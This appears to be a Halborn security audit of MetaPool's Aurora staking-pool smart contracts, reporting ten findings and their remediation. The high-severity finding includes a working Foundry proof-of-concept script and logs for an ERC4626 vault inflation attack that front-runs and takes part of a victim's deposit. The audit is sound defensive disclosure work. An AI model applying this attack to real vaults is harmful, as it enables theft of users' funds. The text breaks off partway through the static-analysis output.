



# MetaPool – Staking Pools Aurora

## Smart Contract Security Audit

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# EXECUTIVE OVERVIEW





## 1.1 INTRODUCTION

MetaPool engaged Halborn to conduct a security audit on their smart contracts beginning on May 8th, 2023 and ending on May 22nd, 2023. The security assessment was scoped to the smart contracts provided to the Halborn team.

## 1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were mostly addressed by the [MetaPool team](#).

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. ([solgraph](#))
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hot-spots or bugs. ([MythX](#))
- Static Analysis of security for scoped contract, and imported functions. ([Slither](#))
- Testnet deployment. ([Brownie](#), [Anvil](#), [Foundry](#))

## 2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

## 2.1 EXPLOITABILITY

### Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

### Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

### Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

### Metrics:

Exploitability Metric ( $m_E$ )	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A)	1
	Specific (AO:S)	0.2
Attack Cost (AC)	Low (AC:L)	1
	Medium (AC:M)	0.67
	High (AC:H)	0.33
Attack Complexity (AX)	Low (AX:L)	1
	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability  $E$  is calculated using the following formula:

$$E = \prod m_e$$

## 2.2 IMPACT

### Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

### Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

### Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

### Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

### Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

## Metrics:

Impact Metric ( $m_I$ )	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact  $I$  is calculated using the following formula:

$$I = \max(m_I) + \frac{\sum m_I - \max(m_I)}{4}$$

## 2.3 SEVERITY COEFFICIENT

### Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

### Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient ( $C$ )	Coefficient Value	Numerical Value
Reversibility ( $r$ )	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope ( $s$ )	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient  $C$  is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score  $S$  is obtained by:

$$S = \min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9



## 2.4 SCOPE

### IN-SCOPE CODE & COMMITS:

- Repository: `staking-pool-aurora`
    - Commit ID: `834858858d89bb7c60fdbbf4864267d2992dfa5`
    - Release TAG: `v0.1.0`
    - Smart contracts **in scope**:
      - All smart contracts under `/contracts` folder.
- 

### REMEDATION RELEASES:

- Repository: `staking-pool-aurora`
  - Release TAGS:
    - `v0.2.0-pr.2`
    - `v0.2.0-rc.3`

### 3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	1	0	5	4

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
VAULT IMPLEMENTATION IS VULNERABLE TO INFLATION ATTACK	High (8.8)	SOLVED - 06/05/2023
ERC4626 VAULT DEPOSITS AND WITHDRAWS SHOULD CONSIDER SLIPPAGE	Low (3.4)	SOLVED - 06/05/2023
SAME DEPOSITOR CAN BE ADDED MULTIPLE TIMES	Low (2.8)	SOLVED - 06/05/2023
AN EXCESS OF DEPOSITORS COULD LEAD TO DOS	Low (2.2)	SOLVED - 06/05/2023
USAGE OF SEVERAL LOOPS IN UNSTAKING PROCESS COULD LEAD TO DOS	Low (2.2)	PARTIALLY SOLVED - 06/05/2023
VAULTS ARE NOT EIP-4626 COMPLIANT	Low (2.5)	PARTIALLY SOLVED - 06/09/2023
USE CUSTOM ERRORS INSTEAD OF REVERT STRINGS TO SAVE GAS	Informational (0.0)	SOLVED - 06/09/2023
USE UINT256 INSTEAD OF UINT IN FUNCTION ARGUMENTS	Informational (0.0)	SOLVED - 06/09/2023
LOOP GAS USAGE OPTIMIZATION	Informational (0.0)	SOLVED - 06/09/2023
TYPOS IN COMMENTS	Informational (0.0)	SOLVED - 06/09/2023



# FINDINGS & TECH DETAILS



## 4.1 (HAL-01) VAULT IMPLEMENTATION IS VULNERABLE TO INFLATION ATTACK – HIGH (8.8)

### Description:

The `StakedAuroraVault` contract follows the [EIP4626 standard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol):  
<https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol>

This extension allows the minting and burning of **shares** (represented using the ERC20 inheritance) in exchange for underlying **assets** through standardized `deposit`, `mint`, `redeem` and `burn` workflows. But this extension also has the following problem:

When the vault is empty or nearly empty, deposits are at high risk of being stolen through front-running by inflating the share-token value through burning obtained shares. This is variously known as a donation or inflation attack and is essentially a problem of slippage.

Therefore, this issue could affect the users using the protocol that run the risk of losing a part of their deposited tokens.

### Code Location:

**staking-pool-aurora:**

Listing 1: `contracts/StakedAuroraVault.sol` (Line 241)

```
240 function burn(uint256 amount) external {  
241     _burn(msg.sender, amount);  
242 }
```

Listing 2: contracts/StakedAuroraVault.sol (Line 249)

```

247 function burnFrom(address account, uint256 amount) external {
248     _spendAllowance(account, msg.sender, amount);
249     _burn(account, amount);
250 }

```

BVSS:

A0:A/AC:L/AX:L/C:M/I:N/A:N/D:H/Y:N/R:N/S:U (8.8)

Proof of Concept:

In order to exploit the issue, an attacker just has to follow the next steps:

1. An attacker detects that a user is going to deposit and amount of tokens and front-runs the transaction by depositing an amount of tokens to burn its shares associated until keeping one, which will correspond to the entire balance of the contract. Burning these shares will inflate the value of share-token in the vault. For example, Alice wants to deposit 200 ETH, then the attacker front-run this transaction by depositing 100 ETH + 1 WEI to burn just after 100 shares. The attacker will end up having 1 share and the vault 100 ETH + 1 WEI.
2. Once the value of the share-token has been inflated, the victim's transaction gets included in a block receiving many fewer shares due to the inflation. Following with the example, Alice finally deposits 200 ETH receiving only 1 share.
3. The attacker redeems the share, receiving part of the amount deposited in the victim's transaction that was front-run previously. In the example, the attacker will end up withdrawing 150 ETH, obtaining 50 ETH of profit from previous Alice's deposit and 100 ETH from the attacker's deposit.

The test described below and developed in Foundry shows balances and which

action has been performed in each step, proving a successful exploitation of this issue following the aforementioned steps:

Listing 3: Inflation attack POC

```

1 function testInflationAttack() public {
2     prepareBalances();
3
4     vm.prank(OPERATOR);
5     stakedAuroraVault.updateEnforceWhitelist(false);
6
7     console.log("[-] Initial balances:");
8     printBalances();
9
10    vm.startPrank(ATTACKER);
11    {
12        aur.approve(address(stakedAuroraVault), 100 ether + 1);
13        stakedAuroraVault.deposit(100 ether + 1, ATTACKER);
14
15        console.log("[*] After ATTACKER's deposit:");
16        printBalances();
17
18        stakedAuroraVault.burn(100 ether); // Inflate shares'
19    value
19        console.log("[*] After ATTACKER's inflation:");
20        printBalances();
21    }
22    vm.stopPrank();
23
24    vm.startPrank(ALICE);
25    {
26        aur.approve(address(stakedAuroraVault), 200 ether);
27        stakedAuroraVault.deposit(200 ether, ALICE);
28    }
29    vm.stopPrank();
30
31    console.log("[+] Victim deposit tokens:");
32    printBalances();
33
34    vm.startPrank(ATTACKER);
35    {
36        stakedAuroraVault.redeem(1, ATTACKER, ATTACKER);
37        stakingManager.cleanOrdersQueue(); // Set tokens as
38    pending

```

```
39         skip(2 hours); // AURORA's tau
40
41         stakingManager.cleanOrdersQueue(); // Withdraw pending
42         ↪ tokens
43         stakedAuroraVault.withdraw(
44             stakingManager.getAvailableAssets(ATTACKER),
45             ATTACKER,
46             ATTACKER
47         );
48     }
49     vm.stopPrank();
50     console.log("[*] After ATTACKER's withdraw:");
51     printBalances();
52 }
53
54 function prepareBalances() public {
55     aur.mint(ALICE, 200 ether);
56     aur.mint(BOB, 200 ether);
57     aur.mint(CHARLIE, 200 ether);
58
59     aur.mint(ATTACKER, 200 ether);
60 }
61
62 function printBalances() public view {
63     console.log("\t- Attacker AUR balance: ", aur.balanceOf(
64         ↪ ATTACKER));
65     console.log("\t- Attacker stAUR balance: ", stakedAuroraVault.
66         ↪ balanceOf(ATTACKER));
67     console.log("\t- stAUR total supply: ", stakedAuroraVault.
68         ↪ totalSupply());
69     console.log("\t- Alice AUR balance: ", aur.balanceOf(ALICE));
70     console.log("\t- Alice stAUR balance: ", stakedAuroraVault.
71         ↪ balanceOf(ALICE));
72     console.log("");
73 }
```



```

[PASS] testInflationAttack() (gas: 945480)
Logs:
  [-] Initial balances:
    - Attacker AUR balance: 2000000000000000000000
    - Attacker stAUR balance: 0
    - stAUR total supply: 0
    - Alice AUR balance: 2000000000000000000000
    - Alice stAUR balance: 0

  [*] After ATTACKER's deposit:
    - Attacker AUR balance: 9999999999999999999
    - Attacker stAUR balance: 1000000000000000000001
    - stAUR total supply: 1000000000000000000001
    - Alice AUR balance: 2000000000000000000000
    - Alice stAUR balance: 0

  [*] After ATTACKER's inflation:
    - Attacker AUR balance: 9999999999999999999
    - Attacker stAUR balance: 1
    - stAUR total supply: 1
    - Alice AUR balance: 2000000000000000000000
    - Alice stAUR balance: 0

  [+] Victim deposit tokens:
    - Attacker AUR balance: 9999999999999999999
    - Attacker stAUR balance: 1
    - stAUR total supply: 2
    - Alice AUR balance: 0
    - Alice stAUR balance: 1

  [*] After ATTACKER's withdraw:
    - Attacker AUR balance: 24999999999999999999
    - Attacker stAUR balance: 0
    - stAUR total supply: 1
    - Alice AUR balance: 0
    - Alice stAUR balance: 1

Test result: ok. 1 passed; 0 failed; finished in 4.60ms

```

Files required to execute properly this test such as [DeploymentHelper.sol](#) have been included in the [Appendix](#) of this document.

### Recommendation:

It is recommended to not allow users to burn shares arbitrarily in order to avoid inflating them, this could be done by removing public `burn` functions or controlling their access.

Also, vault deployers can protect against this attack by making an initial deposit of a non-trivial amount of the asset, such that price manipulation becomes infeasible.

### Remediation Plan:

**SOLVED:** The `MetaPool` team solved the issue by removing public `burn` functions in the following commit ID:

- [e8dd85072bf7cd8a1c38a2d49068b42beee85d82](#).

## 4.2 (HAL-02) ERC4626 VAULT DEPOSITS AND WITHDRAWS SHOULD CONSIDER SLIPPAGE - LOW (3.4)

### Description:

The scoped repositories make use of `ERC4626` custom implementations that should follow the `EIP-4626` definitions. This standard states the following security consideration:

"If implementors intend to support EOA account access directly, they should consider adding another function call for deposit/mint/withdraw/redeem with the means to accommodate slippage loss or unexpected deposit/withdrawal limits, since they have no other means to revert the transaction if the exact output amount is not achieved."

These vault implementations do not implement a way to limit the slippage when deposits/withdraws are performed. This condition affects specially to `EOA` since they don't have a way to verify the amount of tokens received and revert the transaction in case they are too few compared to what was expected to be received.

Applying this security consideration would help to `EOA` to avoid being front-run and losing tokens in transactions towards these smart contracts.

### Code Location:

#### Listing 4: contracts/LiquidityPool.sol

```
166 function deposit(  
167     uint256 _assets,  
168     address _receiver  
169 ) public override onlyFullyOperational returns (uint256)
```

**Listing 5: contracts/LiquidityPool.sol**

```
182 function redeem(  
183     uint256 _shares,  
184     address _receiver,  
185     address _owner  
186 ) public override onlyFullyOperational returns (uint256)
```

**Listing 6: contracts/StakedAuroraVault.sol**

```
178 function deposit(  
179     uint256 _assets,  
180     address _receiver  
181 ) public override onlyFullyOperational checkWhitelist returns (  
    ↳ uint256)
```

**Listing 7: contracts/StakedAuroraVault.sol**

```
190 function mint(  
191     uint256 _shares,  
192     address _receiver  
193 ) public override onlyFullyOperational checkWhitelist returns (  
    ↳ uint256)
```

**Listing 8: contracts/StakedAuroraVault.sol**

```
204 function withdraw(  
205     uint256 _assets,  
206     address _receiver,  
207     address  
208 ) public override returns (uint256)
```

**Listing 9: contracts/StakedAuroraVault.sol**

```
217 function redeem(  
218     uint256 _shares,  
219     address _receiver,  
220     address _owner  
221 ) public override onlyFullyOperational returns (uint256)
```

BVSS:

A0:A/AC:L/AX:M/C:N/I:N/A:N/D:M/Y:N/R:N/S:U (3.4)

Recommendation:

It is recommended to include slippage checks in the aforementioned functions to allow EOA to set the minimum amount of tokens that they expect to receive by executing these functions.

References:

- [EIP-4626: Security Considerations](#)

Remediation Plan:

**SOLVED:** The MetaPool team solved the issue by deploying new routers in order to handle EOA transactions and their respective slippage in the following commit ID:

- [9f2098d652f583b42eaa09cf5bd268bc4af46579](#).

## 4.3 (HAL-03) SAME DEPOSITOR CAN BE ADDED MULTIPLE TIMES - LOW (2.8)

### Description:

The `StakingManager` smart contract allows inserting multiple depositors that will be used to split the staking load into several smart contracts that should implement the `IDepositors` interface. The insertion process is made through the execution of `insertDepositor` function, where the depositor's address will be stored in an array of depositors by executing the array's native `push` function.

However, since an array is being used instead of a mapping, a depositor's address could be added to the array several times due this condition is not being checked before inserting a new depositor. This could cause a malfunction of the protocol's logic.

### Code Location:

Listing 10: `contracts/StakingManager.sol`

```
117 function insertDepositor(
118     address _depositor
119 ) external onlyRole(ADMIN_ROLE) {
120     require(getDepositorsLength() < maxDepositors, "
121         ↳ DEPOSITORS_LIMIT_REACHED");
122     depositors.push(_depositor);
123     nextDepositor = _depositor;
124     _updateDepositorShares(_depositor);
125     emit NewDepositorAdded(_depositor, msg.sender);
126 }
```

### BVSS:

A0:A/AC:L/AX:L/C:N/I:M/A:L/D:N/Y:N/R:P/S:U (2.8)

#### Recommendation:

It is recommended to verify whether a depositor's address has been stored previously in order to avoid major issues.

#### Remediation Plan:

**SOLVED:** The **MetaPool team** solved the issue by checking if the depositor already exists in the following commit ID:

- [5a2e083c72df10905d487fd235062435eba9702e](#).

## 4.4 (HAL-04) AN EXCESS OF DEPOSITORS COULD LEAD TO DOS - LOW (2.2)

### Description:

The `StakingManager` smart contract allows setting multiple depositors that will handle the interaction with `Aurora` external protocol to stake, enabling the possibility to have multiple instances where tokens will be staked during all this process.

Depositors are controlled by using a dynamic array which stores a number of addresses limited by `maxDepositors` variable, and an operator can set depositors arbitrarily in this mapping as long as the length of `depositors` does not exceed `maxDepositors` value.

However, many functions iterate over the aforementioned dynamic array in order to perform a search on it, thus in case of this mapping is large enough, a transaction could run out of gas by calling one of these functions.

### Code Location:

Listing 11: `contracts/StakingManager.sol` (Line 222)

```
220 function depositorExists(address _depositor) external view returns
    ↳ (bool) {
221     uint256 _totalDepositors = getDepositorsLength();
222     for (uint i = 0; i < _totalDepositors; i++) {
223         if (depositors[i] == _depositor) {
224             return true;
225         }
226     }
227     return false;
228 }
```



Listing 12: contracts/StakingManager.sol (Line 240)

```

236 function setNextDepositor() external onlyStAurVault {
237     _updateDepositorShares(nextDepositor);
238     address _nextDepositor = depositors[0];
239     uint256 _totalDepositors = getDepositorsLength();
240     for (uint i = 0; i < _totalDepositors; i++) {
241         // Keeping a < instead of <= allows prioritizing the
        ↳ deposits in lower index depositors.
242         if (depositorShares[depositors[i]] < depositorShares[
        ↳ _nextDepositor] ) {
243             _nextDepositor = depositors[i];
244         }
245     }
246     nextDepositor = _nextDepositor;
247 }

```

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:L/D:L/Y:L/R:P/S:U (2.2)

Recommendation:

It is recommended to be very restrictive regarding the limits of `depositors` array length and also, implementing a function to remove depositors from the array.

Remediation Plan:

**SOLVED:** The `MetaPool` team solved the issue by restricting the aforementioned array length to `20`.

## 4.5 (HAL-05) USAGE OF SEVERAL LOOPS IN UNSTAKING PROCESS COULD LEAD TO DOS - LOW (2.2)

### Description:

The `cleanOrdersQueue` function implemented in `StakingManager` smart contract allows processing all requested withdraws which have been put in queue between executions of this function. All these withdraw requests run through different states until withdraws are made effective. For instance, when an account wants to withdraw their staked tokens a `WithdrawOrder` is created, after `cleanOrdersQueue` execution all `WithdrawOrders` are put into `PendingOrders` mapping and the protocol requests the withdrawal of these associated staked tokens to `Aurora` protocol, in the next `cleanOrdersQueue` execution the order will be moved from `PendingOrders` into `AvailableAssets` mapping. At this point, the tokens could be withdrawn from the protocol.

This function is executed every a constant defined by `Aurora` protocol plus a constant defined in `StakingManager` contract. Moreover, its operation is crucial for the correct functioning of the protocol.

However, this function makes use of a huge amount of gas, since processing every state of each withdraw request requires to iterates over each request and each state independently by using several loops. Therefore, there is a possibility of running out of gas if there is a high volume of requests to process.

### Code Location:

Listing 13: `contracts/StakingManager.sol`

```
351 for (uint i = 0; i < _totalDepositors; i++) {
352     address depositor = depositors[i];
353     uint256 pendingAmount = IDepositor(depositor).getPendingAurora
    ↳ ();
```

```

354     if (pendingAmount > 0) {
355         IDepositor(depositor).withdraw(pendingAmount);
356     }
357 }

```

#### Listing 14: contracts/StakingManager.sol

```

362 for (uint i = 1; i <= _totalOrders; i++) {
363     Order memory order = pendingOrder[i];
364     pendingOrder[i] = Order(0, address(0));
365     availableAssets[order.receiver] += order.amount;
366 }

```

#### Listing 15: contracts/StakingManager.sol

```

377 for (uint i = _totalDepositors; i > 0; i--) {
378     address depositor = depositors[i-1];
379     uint256 assets = getTotalAssetsFromDepositor(depositor);
380     if (assets == 0) continue;
381     uint256 nextWithdraw = _totalWithdrawInQueue - alreadyWithdraw
    ↪ ;
382
383     if (assets >= nextWithdraw) {
384         IDepositor(depositor).unstake(nextWithdraw);
385         alreadyWithdraw += nextWithdraw;
386     } else {
387         IDepositor(depositor).unstakeAll();
388         alreadyWithdraw += assets;
389     }
390     _updateDepositorShares(depositor);
391     if (alreadyWithdraw == _totalWithdrawInQueue) return;
392 }

```

#### Listing 16: contracts/StakingManager.sol

```

398 for (uint i = 1; i <= _totalOrders; i++) {
399     Order memory order = withdrawOrder[i];
400     uint256 _assets = order.amount;
401     if (_assets > 0) {
402         address _receiver = order.receiver;
403         // Removing withdraw order.
404         withdrawOrder[i] = Order(0, address(0));

```

```
405
406     // Creating pending order.
407     pendingOrder[i] = Order(_assets, _receiver);
408 }
409 }
```

#### BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:L/D:L/Y:L/R:P/S:U (2.2)

#### Recommendation:

It is recommended to be very restrictive regarding the limits of **depositors** and **WithdrawOrders** arrays lengths. On the other hand, it could be convenient to split the load of the aforementioned function between different transactions to avoid running out of gas in a single transaction.

#### Remediation Plan:

**SOLVED:** The **MetaPool team** partially solved the issue by applying the restriction mentioned in **HAL-05** and limiting **WithdrawOrders** length to **200**. However, this maximum can be ignored since it can be arbitrarily set during the smart contract deployment.

By the other hand, the workload of this function has not been split into minor tasks in order to reduce gas usage in a single transaction.

## 4.6 (HAL-06) VAULTS ARE NOT EIP-4626 COMPLIANT – LOW (2.5)

### Description:

Following EIP-4626 definition, used ERC4626 custom implementations in scoped contracts are not fully EIP-4626 compliant due to the following functions are not meeting some EIP's requirements:

- Withdraw function missing (`LiquidityPool`).
- Mint function missing (`LiquidityPool`).
- `maxDeposit` function:
  - MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on `balanceOf` of asset.
- `maxMint` function:
  - MUST return the maximum amount of shares mint would allow to be deposited to the receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on `balanceOf` of asset.
- Deposit function ( `LiquidityPool`):
  - MUST emit the Deposit event.
- Redeem function (`LiquidityPool`):
  - MUST emit the Withdraw event.
- `maxDeposit`, `maxMint`, `maxWithdraw` and `maxRedeem` functions should return 0 when their respective functions are disabled (`LiquidityPool`).

## Code Location:

## Listing 17: contracts/LiquidityPool.sol

```

222 function mint(uint256, address) public override pure returns (
    ↳ uint256) {
223     revert("UNAVAILABLE_FUNCTION");
224 }

```

## Listing 18: contracts/LiquidityPool.sol

```

227 function withdraw(uint256, address, address) public override pure
    ↳ returns (uint256) {
228     revert("UNAVAILABLE_FUNCTION");
229 }

```

## Listing 19: contracts/LiquidityPool.sol

```

210 emit RemoveLiquidity(
211     msg.sender,
212     _receiver,
213     _owner,
214     _shares,
215     auroraToSend,
216     stAurToSend
217 );

```

## Listing 20: contracts/LiquidityPool.sol

```

320 emit AddLiquidity(_caller, _receiver, _assets, _shares);

```

## BVSS:

A0:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:P/S:U (2.5)

## Recommendation:

All aforementioned functions should be modified to meet the [EIP-4626](#) specifications in order to avoid future compatibility issues.

#### References:

- [EIP-4626: Specification](#)

#### Remediation Plan:

**PARTIALLY SOLVED:** The `MetaPool` team partially solved the issue by sticking to `EIP-4626` definitions.

However, the `staking-pool-aurora` code has not been modified to stick to the following `EIP-4626` definition:

- `maxDeposit`, `maxMint`, `maxWithdraw` and `maxRedeem` functions should return `0` when their respective functions are disabled (`LiquidityPool`).

## 4.7 (HAL-07) USE CUSTOM ERRORS INSTEAD OF REVERT STRINGS TO SAVE GAS - INFORMATIONAL (0.0)

### Description:

Failed operations in several contracts are reverted with an accompanying message selected from a set of hard-coded strings.

In the [EVM](#), emitting a hard-coded string in an error message costs ~50 more gas than emitting a custom error. Additionally, hard-coded strings increase the gas required to deploy the contract.

### BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

### Recommendation:

Custom errors are available from Solidity version [0.8.4](#) up. Consider replacing all revert strings with custom errors. Usage of custom errors should look like this:

#### Listing 21

```
1 error CustomError();
2
3 // ...
4
5 if (condition)
6     revert CustomError();
```



### Remediation Plan:

**SOLVED:** The **MetaPool team** solved the issue by following the aforementioned recommendation.

## 4.8 (HAL-08) USE UINT256 INSTEAD OF UINT IN FUNCTION ARGUMENTS - INFORMATIONAL (0.0)

### Description:

In solidity, it's well known that `uint` type is an alias of `uint256` type which means that, at compilation time, declared `uint` variables are treated as `uint256` variables, as well as function arguments.

This condition is essential during `ABI` definition, since every argument whose type is `uint` will be assigned to `uint256` type. Then, calling to this kind of function through its `ABI` definition should not be an issue, since `uint` will always be processed as `uint256` in external contracts.

However, using raw calls to contract's functions whose arguments contain an `uint` type could lead to errors and unexpected reverts if `uint` types are specified in the function signature of these raw calls due to function signatures using `uint` will mismatch with the actual signature that is using a `uint256` type defined in the contract.

### BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

### Recommendation:

It is recommended to change every `uint` type to `uint256` in function arguments.

### Remediation Plan:

**SOLVED:** The `MetaPool` team solved the issue by modifying the type to `uint256`.

## 4.9 (HAL-09) LOOP GAS USAGE OPTIMIZATION – INFORMATIONAL (0.0)

### Description:

Multiple gas cost optimization opportunities were identified in the loops of scoped contracts:

- Unnecessary reading of the array length on each iteration wastes gas.
- Using `!=` consumes less gas.
- It is possible to further optimize loops by using unchecked loop index incrementing and decrementing.
- Pre-increment `++i` consumes less gas than post-increment `i++`.

### Code Location:

#### Listing 22: contracts/StakedAuroraVault.sol

```
144 for (uint i = 0; i < _totalAccounts; i++)
```

#### Listing 23: contracts/StakedAuroraVault.sol

```
159 for (uint i = 0; i < _totalAccounts; i++)
```

#### Listing 24: contracts/StakingManager.sol

```
159 for (uint i = 1; i <= _totalOrders; i++)
```

#### Listing 25: contracts/StakingManager.sol

```
170 for (uint i = 1; i <= _totalOrders; i++)
```

**Listing 26: contracts/StakingManager.sol**

```
222 for (uint i = 0; i < _totalDepositors; i++)
```

**Listing 27: contracts/StakingManager.sol**

```
240 for (uint i = 0; i < _totalDepositors; i++)
```

**Listing 28: contracts/StakingManager.sol**

```
260 for (uint i = 0; i < _totalDepositors; i++)
```

**Listing 29: contracts/StakingManager.sol**

```
351 for (uint i = 0; i < _totalDepositors; i++)
```

**Listing 30: contracts/StakingManager.sol**

```
362 for (uint i = 1; i <= _totalOrders; i++)
```

**Listing 31: contracts/StakingManager.sol**

```
377 for (uint i = _totalDepositors; i > 0; i--)
```

**Listing 32: contracts/StakingManager.sol**

```
398 for (uint i = 1; i <= _totalOrders; i++)
```

**BVSS:**

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

**Recommendation:**

It is recommended to cache array lengths outside of loops, as long the size is not changed during the loop.

It is recommended to use the unchecked `++i` operation to increment the values of the `uint` variable inside the loop. It is noted that using unchecked operations requires particular caution to avoid overflows, and their use may impair code readability.

It is possible to save gas by using `!=` inside loop conditions.

#### Remediation Plan:

**SOLVED:** The `MetaPool team` solved the issue by applying aforementioned recommendations.

## 4.10 (HAL-10) TYPOS IN COMMENTS - INFORMATIONAL (0.0)

### Description:

It has been identified that some comments contain typos. Although it is a comment, fixing it is recommended to improve code quality and readability in order to avoid confusions.

### Code Location:

#### Listing 33: contracts/StakingManager.sol (Line 271)

```
271 /// @notice AURORA tokens are tansfer to the users on the withdraw  
    ↳ process,  
272 /// triggered only by the stAUR vault.  
273 function transferAurora(
```

### BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

### Recommendation:

If possible, consider modifying `tansfer` to `transfer`.

### Remediation Plan:

**SOLVED:** The `MetaPool team` solved the issue by correcting typos.



# AUTOMATED TESTING



## 5.1 STATIC ANALYSIS REPORT

### Description:

**Halborn** used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After **Halborn** verified the smart contracts in the repository and was able to compile them correctly into their **ABIs** and binary format, **Slither** was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' **APIs** across the entire code-base.



## Results:

```

- StakingManager.getDepositorShares(address) (contracts/StakingManager.sol#216-218)
- StakingManager.getTotalAssetsFromDepositor(address) (contracts/StakingManager.sol#249-255)
- StakingManager.getTotalAssetsFromDepositors() (contracts/StakingManager.sol#257-265)
- StakingManager.setNextDepositor() (contracts/StakingManager.sol#236-247)
Reentrancy in StakingManager.cleanOrdersQueue() (contracts/StakingManager.sol#305-322):
  External calls:
  - withdrawFromDepositor() (contracts/StakingManager.sol#309)
    - Depositor(depositor).withdraw(pendingAmount) (contracts/StakingManager.sol#355)
  - _unstakeWithdrawOrders() (contracts/StakingManager.sol#313)
    - Depositor(depositor).unstake(nextWithdraw) (contracts/StakingManager.sol#304)
    - Depositor(depositor).unstakeAll() (contracts/StakingManager.sol#307)
  State variables written after the call(s):
  - moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#314)
    - lastPendingOrderIndex = totalOrders (contracts/StakingManager.sol#410)
StakingManager.lastPendingOrderIndex (contracts/StakingManager.sol#476) can be used in cross function reentrancies:
- StakingManager.moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#396-413)
- StakingManager.movePendingToAvailable() (contracts/StakingManager.sol#368-368)
- StakingManager.getTotalPendingOrders() (contracts/StakingManager.sol#203-203)
- nextCleanOrderQueue = nextCleanOrderQueue (contracts/StakingManager.sol#319)
StakingManager.nextCleanOrderQueue (contracts/StakingManager.sol#456) can be used in cross function reentrancies:
